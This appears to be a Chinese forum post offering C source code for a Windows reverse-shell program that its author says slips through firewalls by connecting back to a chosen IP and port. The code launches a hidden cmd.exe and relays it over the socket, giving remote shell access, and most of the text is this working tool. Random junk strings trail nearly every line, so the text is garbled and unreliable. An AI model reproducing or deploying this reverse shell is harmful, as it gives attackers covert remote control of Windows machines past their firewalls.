这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (s@tU>4U
Dzjt|U0ru9
/* ============================== \j})Kul
Rebound port in Windows NT _ u|FJTk
By wind,2006/7 c^bk:=uj
===============================*/ X<}o>
6|d
#include agU!D[M_G
#include :8-gm"awL5
XL/o y'_
#pragma comment(lib,"wsock32.lib") rbuL@=S@*
j484b2uj1
void OutputShell(); OC>_=i$'
SOCKET sClient; Ar7mH4M
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; grxl{uIC8
P:,
x?T?J^
void main(int argc,char **argv) e=jT]i *cU
{ eQaxZMU
WSADATA stWsaData; BS,5W]ervE
int nRet; ,ibPSN5Ca
SOCKADDR_IN stSaiClient,stSaiServer; DEQE7.]3 q
CL'Xip')T
if(argc != 3) M$4=q((0
{ ~z
_](HKoS
printf("Useage:\n\rRebound DestIP DestPort\n"); /`O]etr`d
return; m":SE? {{&
} -S%q!%}u
G!VF*yW8
WSAStartup(MAKEWORD(2,2),&stWsaData); u!3]RGJ
K7xWE,y
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6^IqSNn-
'Ywpdzz[
stSaiClient.sin_family = AF_INET; P&%eIgAOL
stSaiClient.sin_port = htons(0); "(\)
&G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jy(+
0F
4,F3@m:<
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cq*}b4^;
{ 9kX=99kf[
printf("Bind Socket Failed!\n"); M |({
4C
return; %w8GGm8^/
} 9ze| s^
oS#'u1k
stSaiServer.sin_family = AF_INET; {pb9UUP2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~'NpM#A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^2C /!Y<
k8
;uC~L
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4`U0">gY
{ :9F''f$AP
printf("Connect Error!"); 'uKkl(==%
return; 95^i/6Gl!P
} Gkv~e?Kc~^
OutputShell(); \SiHrr5
} S2
"=B&,}
Y%0d\{@a
void OutputShell() o`\.I&Ij
{ w &|R5Q
char szBuff[1024]; "o{)X@YN]
SECURITY_ATTRIBUTES stSecurityAttributes; I& M36f
OSVERSIONINFO stOsversionInfo; jH&_E'XMX
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JpxbB)/
STARTUPINFO stStartupInfo; z{@R.'BD
char *szShell; *|k;a]HT
PROCESS_INFORMATION stProcessInformation; >^yc=mM(g3
unsigned long lBytesRead; /j' B\,
F?8BS*r_
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @ 2!C^}d3F
.;HIEj zq
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J}(6>iuQY?
stSecurityAttributes.lpSecurityDescriptor = 0; ;;?vgrz
stSecurityAttributes.bInheritHandle = TRUE; ```d:f
1X::0;3
1@%B?
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BeI;#m0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q'|0?nBOY
OpK.Lsd0y
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8wII{FHX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p"[O#*p
stStartupInfo.wShowWindow = SW_HIDE; kYxl1nv
stStartupInfo.hStdInput = hReadPipe; eB=v~I3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a(@p0YpKT
=9pw uH
GetVersionEx(&stOsversionInfo); Pknc[h},
!6zyJc@01
switch(stOsversionInfo.dwPlatformId) T3Frc ]6,4
{ nw0L1TP/J
case 1: MCk^Tp!
szShell = "command.com";
(A29ZH
break; -!J2x8Ri
default: a#+>w5
szShell = "cmd.exe"; Bf5&}2u
break; tx0Go'{
} WHUT/:?f
$T?*0"Mj[
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g/8.W
)RwBg8
send(sClient,szMsg,77,0); Y5ogi)
while(1) iW|s|1mh3
{ 6ORY`Pe7P|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c[VrC+e m
if(lBytesRead) *O@sh
{ }iilzE4oH#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "v(G7*2
send(sClient,szBuff,lBytesRead,0); a`H\-G
} B(j02<-
else 8F zHNG
{ ~->Hlxze'K
lBytesRead=recv(sClient,szBuff,1024,0); |JUe>E*
if(lBytesRead<=0) break; tu\mFHvlg
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ag0]U
} ~ww?Emrw
} $ph0ag+
[kbC'Eh*
return; $]@O/[
}